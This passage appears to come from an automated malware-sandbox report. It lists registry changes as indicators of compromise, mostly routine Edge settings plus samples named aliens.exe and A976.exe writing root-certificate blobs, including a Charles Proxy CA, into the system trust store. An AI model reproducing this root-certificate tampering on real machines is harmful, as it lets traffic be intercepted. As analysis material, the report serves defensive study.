Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ReadingMode\SettingsVersion = "2" MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\History\CachePrefix = "Visited:" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\Favorites MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ServiceUI\IsSignedIn = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VendorId = "0" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\DynamicCodePolicy = 05000000 MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DataStore\LastCleanup = 0000000000000000 MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\MigrationTime = 6c3a3b6c55add601 MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TabbedBrowsing MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\TreeView = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\IETld\LowMic MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus\SignaturePolicy = 06000000 MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BingPageData\RulesFileVersion = "10" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\Cookies MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\History MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\FirstRecoveryTime = 6c3a3b6c55add601 MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Cookies\CacheLimit = "1" MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\ACGStatus\DynamicCodePolicy = 05000000 MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus\SignaturePolicy = 06000000 MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead\Meta\generator$MediaWiki MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage\dscc_inventory\ExtensionI = "5" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\SubSysId = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\MrtCache MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\HistoryJournalCertificate\NextUpdateDate = "312519653" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ReadingMode\FontSize = "3" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\OnlineHistory MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DataStore\OneTimeCleanup = "1" MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\ACGStatus MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\ManagerHistoryComplete = "1" MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage\dscc_inventory\ExtensionI = "{AA41530A-2CDE-4C4D-B9D9-5065D3EC8127}" MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CachePrefix MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TabbedBrowsing\NewTabPage MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url4 = "https://login.live.com/" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify = 010000000c179bdb9e8998e4fe3dc87311fdf08e942bbf4d125c2b618b9652752183c95355e90e15c532f07260e2270d0d5b5b7c1c5db52cce2bfbf3a141 MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 50ea0cecc4bdd601 MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\FlipAheadCompletedVersion = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify MicrosoftEdge.exe -
Processes:
aliens.exeA976.exeA976.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6C0CE2DD0584C47CAC18839F14055F19FA270CDD aliens.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6C0CE2DD0584C47CAC18839F14055F19FA270CDD\Blob = 0300000001000000140000006c0ce2dd0584c47cac18839f14055f19fa270cdd2000000001000000500500003082054c30820434a0030201020206016de34cff62300d06092a864886f70d01010b05003081aa313b303906035504030c32436861726c65732050726f78792043412028313920e58d81e69c8820323031392c204445534b544f502d424e41543131552931253023060355040b0c1c68747470733a2f2f636861726c657370726f78792e636f6d2f73736c3111300f060355040a0c08584b3732204c74643111300f06035504070c084175636b6c616e643111300f06035504080c084175636b6c616e64310b3009060355040613024e5a301e170d3030303130313030303030305a170d3438313231353039313533375a3081aa313b303906035504030c32436861726c65732050726f78792043412028313920e58d81e69c8820323031392c204445534b544f502d424e41543131552931253023060355040b0c1c68747470733a2f2f636861726c657370726f78792e636f6d2f73736c3111300f060355040a0c08584b3732204c74643111300f06035504070c084175636b6c616e643111300f06035504080c084175636b6c616e64310b3009060355040613024e5a30820122300d06092a864886f70d01010105000382010f003082010a0282010100ae86c5043ed34d99f44fa3052ea34047a7fbbe33188b1dc2ca645ca3249e85e54b4921d4998fda6a22247c32d9087d742af3bf850803ae8c1e25faad53fb8fd823b7353d9a3ac992bf917f693826c790e53a540b120b6553508ec9585e467d310bd3ef9fb61731deb522eb78f43f824b34be36782db7a8cb162cd22247b14e4c5ae633ed66542354a59971bddc59160ecdc521b4477c93ca9e624e0af00298602300f5dc368819c3cb9f02604636888276b3a498570473b5328b0834f327c34285e333da9207e12f0edbb654c8cf11e3cc7cba17a52cd7cd42c10ae095a2e4eb9d3e3f361488243f0584af40e72d6e6e182149bfb8342384f60f12e14734258d0203010001a382017430820170300f0603551d130101ff040530030101ff3082012c06096086480186f842010d0482011d138201195468697320526f6f74206365727469666963617465207761732067656e65726174656420627920436861726c65732050726f787920666f722053534c2050726f7879696e672e20496620746869732063657274696669636174652069732070617274206f66206120636572746966696361746520636861696e2c2074686973206d65616e73207468617420796f752772652062726f7773696e67207468726f75676820436861726c65732050726f787920776974682053534c2050726f7879696e6720656e61626c656420666f72207468697320776562736974652e20506c656173652073656520687474703a2f2f636861726c657370726f78792e636f6d2f73736c20666f72206d6f726520696e666f726d6174696f6e2e300e0603551d0f0101ff040403020204301d0603551d0e04160414f8d0dc54367cf794020f8b92783a5d8a91251f9f300d06092a864886f70d01010b05000382010100662271eb9d5c744c88382de98ba37320e6312104d04273a92007a8670976d6530e6347d00bbded1319bb6754f36237596095922911e3661a70354f6ba0b797a76258be7adebb8c8dbeeed977760b80271d74b2444d92f6c1337a379b73545b251de5f8812b9625abbbfaedc15f8c6c374b9b26dd0fef035185f5899d8819e689dc6db5f0babbfd637c52b1bec80115b889faeed493d4112d744954ad3abe6607c41a4a2d657ba330ed131fa4e8c25bb28ee181dcef8da91c17bfd30a23c8eae81b152ed85ff938afc32b34ffdaffbdb72d9bb04067bfc87f579eba9637b165ea008ea7408bc8265f33c039bf60f506d245a6b53017afc8e161d70ed5b0d76576 aliens.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\02FAF3E291435468607857694DF5E45B68851868\Blob = 0400000001000000100000001d3554048578b03f42424dbf20730a3f03000000010000001400000002faf3e291435468607857694df5e45b688518681d000000010000001000000006f9583c00a763c23fb9e065a3366d55140000000100000014000000adbd987a34b426f7fac42654ef03bde024cb541a620000000100000020000000687fa451382278fff0c8b11f8d43d576671c6eb2bceab413fb83d965d06d2ff20b00000001000000260000005300650063007400690067006f0020002800410064006400540072007500730074002900000053000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f000000010000001400000009b9105c5bba24343ca7f341c624e183f6ee7c1b20000000010000003a040000308204363082031ea003020102020101300d06092a864886f70d0101050500306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f74301e170d3030303533303130343833385a170d3230303533303130343833385a306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100b7f71a33e6f200042d39e04e5bed1fbc6c0fcdb5fa23b6cede9b113397a4294c7d939fbd4abc93ed031ae38fcfe56d505ad69729945a80b0497adb2e95fdb8cabf37382d1e3e9141ad7056c7f04f3fe8329e74cac89054e9c65f0f789d9a403c0eac61aa5e148f9e87a16a50dcd79a4eaf05b3a671949c71b350600ac7139d38078602a8e9a869261890ab4cb04f23ab3a4f84d8dfce9fe1696fbbd742d76b44e4c7adee6d415f725a710837b37965a459a09437f7002f0dc29272dad03872db14a845c45d2a7db7b4d6c4eeaccd1344b7c92bdd430025fa61b9696a582311b7a7338f567559f5cd29d746b70a2b65b6d3426f15b2b87bfbefe95d53d5345a270203010001a381dc3081d9301d0603551d0e04160414adbd987a34b426f7fac42654ef03bde024cb541a300b0603551d0f040403020106300f0603551d130101ff040530030101ff3081990603551d2304819130818e8014adbd987a34b426f7fac42654ef03bde024cb541aa173a471306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f74820101300d06092a864886f70d01010505000382010100b09be08525c2d623e20f9606929d41989cd9847981d91e5b14072336658fb0d877bbac416c47608351b0f9323de7fcf62613c78016a5bf5afc87cf787989219ae24c070a8635bcf2de51c4d296b7dc7e4eee70fd1c39eb0c0251142d8ebd16e0c1df4675e724adecf442b48593701067ba9d06354a18d32b7acc5142a17a63d1e6bba1c52bc236be130de6bd637e797ba7090d40ab6add8f8ac3f6f68c1a420551d445f59fa76221681520433c99e77cbd24d8a9911773883f561b313818b4710f9acdc80e9e8e2e1be18c9883cb1f31f1444cc604734976600fc7f8bd17806b2ee9cc4c0e5a9a790f200a2ed59e63261e559294d882175a7bd0bcc78f4e8604 A976.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\02FAF3E291435468607857694DF5E45B68851868\Blob = 19000000010000001000000045ed9bbc5e43d3b9ecd63c060db78e5c0f000000010000001400000009b9105c5bba24343ca7f341c624e183f6ee7c1b090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00b00000001000000260000005300650063007400690067006f00200028004100640064005400720075007300740029000000620000000100000020000000687fa451382278fff0c8b11f8d43d576671c6eb2bceab413fb83d965d06d2ff2140000000100000014000000adbd987a34b426f7fac42654ef03bde024cb541a1d000000010000001000000006f9583c00a763c23fb9e065a3366d5503000000010000001400000002faf3e291435468607857694df5e45b688518680400000001000000100000001d3554048578b03f42424dbf20730a3f20000000010000003a040000308204363082031ea003020102020101300d06092a864886f70d0101050500306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f74301e170d3030303533303130343833385a170d3230303533303130343833385a306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100b7f71a33e6f200042d39e04e5bed1fbc6c0fcdb5fa23b6cede9b113397a4294c7d939fbd4abc93ed031ae38fcfe56d505ad69729945a80b0497adb2e95fdb8cabf37382d1e3e9141ad7056c7f04f3fe8329e74cac89054e9c65f0f789d9a403c0eac61aa5e148f9e87a16a50dcd79a4eaf05b3a671949c71b350600ac7139d38078602a8e9a869261890ab4cb04f23ab3a4f84d8dfce9fe1696fbbd742d76b44e4c7adee6d415f725a710837b37965a459a09437f7002f0dc29272dad03872db14a845c45d2a7db7b4d6c4eeaccd1344b7c92bdd430025fa61b9696a582311b7a7338f567559f5cd29d746b70a2b65b6d3426f15b2b87bfbefe95d53d5345a270203010001a381dc3081d9301d0603551d0e04160414adbd987a34b426f7fac42654ef03bde024cb541a300b0603551d0f040403020106300f0603551d130101ff040530030101ff3081990603551d2304819130818e8014adbd987a34b426f7fac42654ef03bde024cb541aa173a471306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f74820101300d06092a864886f70d01010505000382010100b09be08525c2d623e20f9606929d41989cd9847981d91e5b14072336658fb0d877bbac416c47608351b0f9323de7fcf62613c78016a5bf5afc87cf787989219ae24c070a8635bcf2de51c4d296b7dc7e4eee70fd1c39eb0c0251142d8ebd16e0c1df4675e724adecf442b48593701067ba9d06354a18d32b7acc5142a17a63d1e6bba1c52bc236be130de6bd637e797ba7090d40ab6add8f8ac3f6f68c1a420551d445f59fa76221681520433c99e77cbd24d8a9911773883f561b313818b4710f9acdc80e9e8e2e1be18c9883cb1f31f1444cc604734976600fc7f8bd17806b2ee9cc4c0e5a9a790f200a2ed59e63261e559294d882175a7bd0bcc78f4e8604 A976.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\02FAF3E291435468607857694DF5E45B68851868\Blob = 5c0000000100000004000000000800000400000001000000100000001d3554048578b03f42424dbf20730a3f03000000010000001400000002faf3e291435468607857694df5e45b688518681d000000010000001000000006f9583c00a763c23fb9e065a3366d55140000000100000014000000adbd987a34b426f7fac42654ef03bde024cb541a620000000100000020000000687fa451382278fff0c8b11f8d43d576671c6eb2bceab413fb83d965d06d2ff20b00000001000000260000005300650063007400690067006f0020002800410064006400540072007500730074002900000053000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f000000010000001400000009b9105c5bba24343ca7f341c624e183f6ee7c1b19000000010000001000000045ed9bbc5e43d3b9ecd63c060db78e5c20000000010000003a040000308204363082031ea003020102020101300d06092a864886f70d0101050500306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f74301e170d3030303533303130343833385a170d3230303533303130343833385a306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100b7f71a33e6f200042d39e04e5bed1fbc6c0fcdb5fa23b6cede9b113397a4294c7d939fbd4abc93ed031ae38fcfe56d505ad69729945a80b0497adb2e95fdb8cabf37382d1e3e9141ad7056c7f04f3fe8329e74cac89054e9c65f0f789d9a403c0eac61aa5e148f9e87a16a50dcd79a4eaf05b3a671949c71b350600ac7139d38078602a8e9a869261890ab4cb04f23ab3a4f84d8dfce9fe1696fbbd742d76b44e4c7adee6d415f725a710837b37965a459a09437f7002f0dc29272dad03872db14a845c45d2a7db7b4d6c4eeaccd1344b7c92bdd430025fa61b9696a582311b7a7338f567559f5cd29d746b70a2b65b6d3426f15b2b87bfbefe95d53d5345a270203010001a381dc3081d9301d0603551d0e04160414adbd987a34b426f7fac42654ef03bde024cb541a300b0603551d0f040403020106300f0603551d130101ff040530030101ff3081990603551d2304819130818e8014adbd987a34b426f7fac42654ef03bde024cb541aa173a471306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f74820101300d06092a864886f70d01010505000382010100b09be08525c2d623e20f9606929d41989cd9847981d91e5b14072336658fb0d877bbac416c47608351b0f9323de7fcf62613c78016a5bf5afc87cf787989219ae24c070a8635bcf2de51c4d296b7dc7e4eee70fd1c39eb0c0251142d8ebd16e0c1df4675e724adecf442b48593701067ba9d06354a18d32b7acc5142a17a63d1e6bba1c52bc236be130de6bd637e797ba7090d40ab6add8f8ac3f6f68c1a420551d445f59fa76221681520433c99e77cbd24d8a9911773883f561b313818b4710f9acdc80e9e8e2e1be18c9883cb1f31f1444cc604734976600fc7f8bd17806b2ee9cc4c0e5a9a790f200a2ed59e63261e559294d882175a7bd0bcc78f4e8604 A976.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2B8F1B57330DBBA2D07A6C51F70EE90DDAB9AD8E\Blob = 5c000000010000000400000000100000190000000100000010000000ea6089055218053dd01e37e1d806eedf0300000001000000140000002b8f1b57330dbba2d07a6c51f70ee90ddab9ad8e0b00000001000000100000005300650063007400690067006f0000001d0000000100000010000000885010358d29a38f059b028559c95f901400000001000000140000005379bf5aaa2b4acf5480e1d89bc09df2b20366cb620000000100000020000000e793c9b02fd8aa13e21c31228accb08119643b749c898964b1746d46c3d4cbd253000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f000000010000003000000066b764a96581128168cf208e374dda479d54e311f32457f4aee0dbd2a6c8d171d531289e1cd22bfdbbd4cfd9796254830400000001000000100000001bfe69d191b71933a372a80fe155e5b52000000001000000e2050000308205de308203c6a003020102021001fd6d30fca3ca51a81bbc640e35032d300d06092a864886f70d01010c0500308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f72697479301e170d3130303230313030303030305a170d3338303131383233353935395a308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f7269747930820222300d06092a864886f70d01010105000382020f003082020a028202010080126517360ec3db08b3d0ac570d76edcd27d34cad508361e2aa204d092d6409dcce899fcc3da9ecf6cfc1dcf1d3b1d67b3728112b47da39c6bc3a19b45fa6bd7d9da36342b676f2a93b2b91f8e26fd0ec162090093ee2e874c918b491d46264db7fa306f188186a90223cbcfe13f087147bf6e41f8ed4e451c61167460851cb8614543fbc33fe7e6c9cff169d18bd518e35a6a766c87267db2166b1d49b7803c0503ae8ccf0dcbc9e4cfeaf0596351f575ab7ffcef93db72cb6f654ddc8e7123a4dae4c8ab75c9ab4b7203dca7f2234ae7e3b68660144e7014e46539b3360f794be5337907343f332c353efdbaafe744e69c76b8c6093dec4c70cdfe132aecc933b517895678bee3d56fe0cd0690f1b0ff325266b336df76e47fa7343e57e0ea566b1297c3284635589c40dc19354301913acd37d37a7eb5d3a6c355cdb41d712daa9490bdfd8808a0993628eb566cf2588cd84b8b13fa4390fd9029eeb124c957cf36b05a95e1683ccb867e2e8139dcc5b82d34cb3ed5bffdee573ac233b2d00bf3555740949d849581a7f9236e651920ef3267d1c4d17bcc9ec4326d0bf415f40a94444f499e757879e501f5754a83efd74632fb1506509e658422e431a4cb4f0254759fa041e93d426464a5081b2debe78b7fc6715e1c957841e0f63d6e962bad65f552eea5cc62808042539b80e2ba9f24c971c073f0d52f5edef2f820f0203010001a3423040301d0603551d0e041604145379bf5aaa2b4acf5480e1d89bc09df2b20366cb300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff300d06092a864886f70d01010c050003820201005cd47c0dcff7017d4199650c73c5529fcbf8cf99067f1bda43159f9e0255579614f1523c27879428ed1f3a0137a276fc5350c0849bc66b4eba8c214fa28